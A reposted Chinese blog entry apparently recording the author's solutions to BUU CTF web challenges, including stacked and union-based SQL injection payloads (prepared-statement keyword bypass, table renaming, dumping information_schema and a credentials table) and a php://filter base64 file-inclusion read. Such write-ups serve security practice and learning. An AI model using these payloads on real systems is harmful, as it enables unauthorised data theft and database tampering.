博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
BUU 2020-11-26-27做题记录
阅读量:3756 次
发布时间:2019-05-22

本文共 3210 字,大约阅读时间需要 10 分钟。

快捷目录

2020-11-26

[HCTF 2018]WarmUp

打开题目,查看源代码

在这里插入图片描述

在这里插入图片描述

在代码中发现了hint.php,打开查看,发现flag所在位置。

在这里插入图片描述

ok,返回审计代码,如下图

在这里插入图片描述

重点,一个这里

在这里插入图片描述

另一个就是这里。 就是提取 $page中 从索引0开始,一直到 第一次出现 ? 的位置。

就是说,不管我们输入的是 back.php?XXXXX 还是back.php?back 都只会输出 back.php
在这里插入图片描述

如果代码看不懂,你也能够做出来,只要你碰巧看过CVE-2018-12613 的利用方式。

在这里插入图片描述

2020-11-27

[强网杯 2019]随便注

打开页面,进行提交,看下回显,url传参

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

就在我认为不过如此,这不就有手就行的时候。

当我测试了 大小写绕过,双写,// /*!/ ,sel<>ect,等多种方法,均绕不过。
在这里插入图片描述

因为

?inject=1 回显正常
?inject=1’ 回显错误
?inject=1’#回显正常

尝试使用堆叠注入。 ------> 就是多条sql语句一起执行。以 ; 划分。

1';show databases;#

在这里插入图片描述

1';use supersqli;#1';show tables;#

在这里插入图片描述

1’;show columns from `1919810931114514`;#

重点: 如果表名是纯数字需要用反引号包裹,不然不会出现回显

但最终查询flag还是需要用到select,。实在是技术太low。看了wp才明白。可以使用预编译的方式
1’;set @flag = concat(‘sel’,'ect * from 1919810931114514');prepare flag from @flag;execute flag;#
但是检测了关键词,不过strstr不过滤大小写。所以我们大写。
在这里插入图片描述
在这里插入图片描述

1';SET @flag = concat('sel','ect * from `1919810931114514`');PREPARE flag from @flag;execute flag;#

在这里插入图片描述

关于这段是什么意思,首先堆叠注入。我们拆开看,

1’; 单引号闭合,;开始堆叠注入。
SET @flag = concat(‘sel’,'ect * from 1919810931114514'); 设置一个变量=后面查询。
PREPARE flag from @flag; 预处理一个语句,,
execute flag;# 执行语句
其中变量名和 预处理的flag 均为自定义。
concat() 拼接字符,将’sel’ 和 ‘etc * from …’ 进行拼接。

方法二:

这种解法思路清晰,间接明了。

思路,通过堆叠注入,我们可以看到以下信息,表名words 下的列名

当我们使用1’ or 1=1#的时候,他会爆出words下所有内容。

但不会爆出存放着flag的表的内容。

那我们将1919810931114514 修改为words名,

然后将列名flag修改为id。
再使用1’ or 1=1# 的话,flag不就出来了。

但肯定不能有两个一样的表名。所以我们先将words修改为其他名字。

基本sql语句。

alter table words rename to xxx; 修改words名
alter table 1919810931114514 rename to words; 将1919…修改为words
alter table users change flag id varchar(50); 将flag 改为id

最终生成payload

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

在这里插入图片描述

1’or 1=1#

在这里插入图片描述

[极客大挑战 2019]EasySQL

看着这个页面,看看上面那个简陋的,,这道题给我的感觉就是高大上,绝对不Easy。

尝试单引号,,尝试下 or 1=1 # ,
在这里插入图片描述

下面发生的事情才是令我震惊的。

就这么出来了。。flag。。我怕是假的,还去提交了, 没想到是真的竟然。

在这里插入图片描述

[SUCTF 2019]EasySQL

这题刚打开,随手输了几个数字,一开始以为是盲注,因为它不报错,只有3种回显,

在这里插入图片描述

做sql注入重点在于它的查询语句是什么,如果我们知道了他的查询语句,那么就可以做出对应的payload。

而这一题,我输入除了0以外的任何数字,他的返回结果都只有一个。
那么他的查询语句有可能是这样子,(语法不对,意思到了)
表名通过堆叠注入获得。技术有限,仅查到了表名。
select POST[‘$query’],flag from Flag;
如果是这样,我们想让他查出flag的话,
可以让他select * 。
即select *,1 from 234 where array = 0;

payload: *,1

在这里插入图片描述

这题最让我不解的就是,网上的大佬,竟然可以直接猜出他的sql查询语句是这样子的。

" s e l e c t " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";

[极客大挑战 2019]Havefun

打开题目,啥也没有,先查看源代码,在最后发现这个

在这里插入图片描述
在这里插入图片描述

简单明了,我们直接payload:

?cat=dog

在这里插入图片描述

[极客大挑战 2019]Secret File

打开题目,啥也没有,查看源代码,发现./Archive_room.php,打开

在这里插入图片描述
在这里插入图片描述

点击SECRET 出现下面这个

在这里插入图片描述

很明显,有东西一闪而过,直接burp进行抓包。,然后打开secr3t.php

在这里插入图片描述

文件包含,过滤…/ tp input data ,最经典的,base64读源码

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

解码得到flag

在这里插入图片描述
在这里插入图片描述

[ACTF2020 新生赛]Include

打开题目,有个链接,,打开

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

直接base64读源码,文件包含,懂得都懂。

[极客大挑战 2019]LoveSQL

多么熟悉的登录框,直接 1’ or 1=1 #

在这里插入图片描述

出金了。账号admin ,密码,,我一看直接md5 不对。然后尝试登陆。 发现他的密码真是这个。。

在这里插入图片描述

进行注入 order by 3 回显

?username=1&password=1%27+order+by+3%23

在这里插入图片描述

order by 4 回显这个。证明3列。直接查数据库,查表名,列名。数据。一套走下来就行了

在这里插入图片描述

-1' union select 1,2,3#

在这里插入图片描述

-1' union select 1,version(),database()#

在这里插入图片描述

-1' union select 1,2,group_concat(table_name,'---') from information_schema.tables where table_schema='geek'#

在这里插入图片描述

-1' union select 1,2,group_concat(column_name,'---') from information_schema.columns where table_name='l0ve1ysq1'#

看重列名好像没有flag,两个表名都是同样内容,猜测flag在数据中,继续读取。

在这里插入图片描述

-1' union select 1,2,group_concat(id,'---',username,'---',password) from l0ve1ysq1#

读到flag

在这里插入图片描述

转载地址:http://bjlsn.baihongyu.com/

你可能感兴趣的文章
浅谈篇之线程池
查看>>
Lambda 表达式
查看>>
字符串函数MySQL
查看>>
8个SQL讲解优化
查看>>
MySQL实战续(二)
查看>>
安装Elastic和kibana
查看>>
什么是搜索
查看>>
全文检索工具elasticsearch
查看>>
Vue之条件渲染实战
查看>>
Vue之侦听属性
查看>>
求职指南(1)
查看>>
MySQL day11
查看>>
MySQL day12
查看>>
JSONP原理
查看>>
Vue.js学习笔记—插值的操作(1)
查看>>
CSS的四种方式实现水平居中
查看>>
RISC-V生态架构浅析(认识RISC-V)
查看>>
? 精美图文带你掌握 JVM 内存布局
查看>>
谈谈go.sum
查看>>
tls 1.2 example
查看>>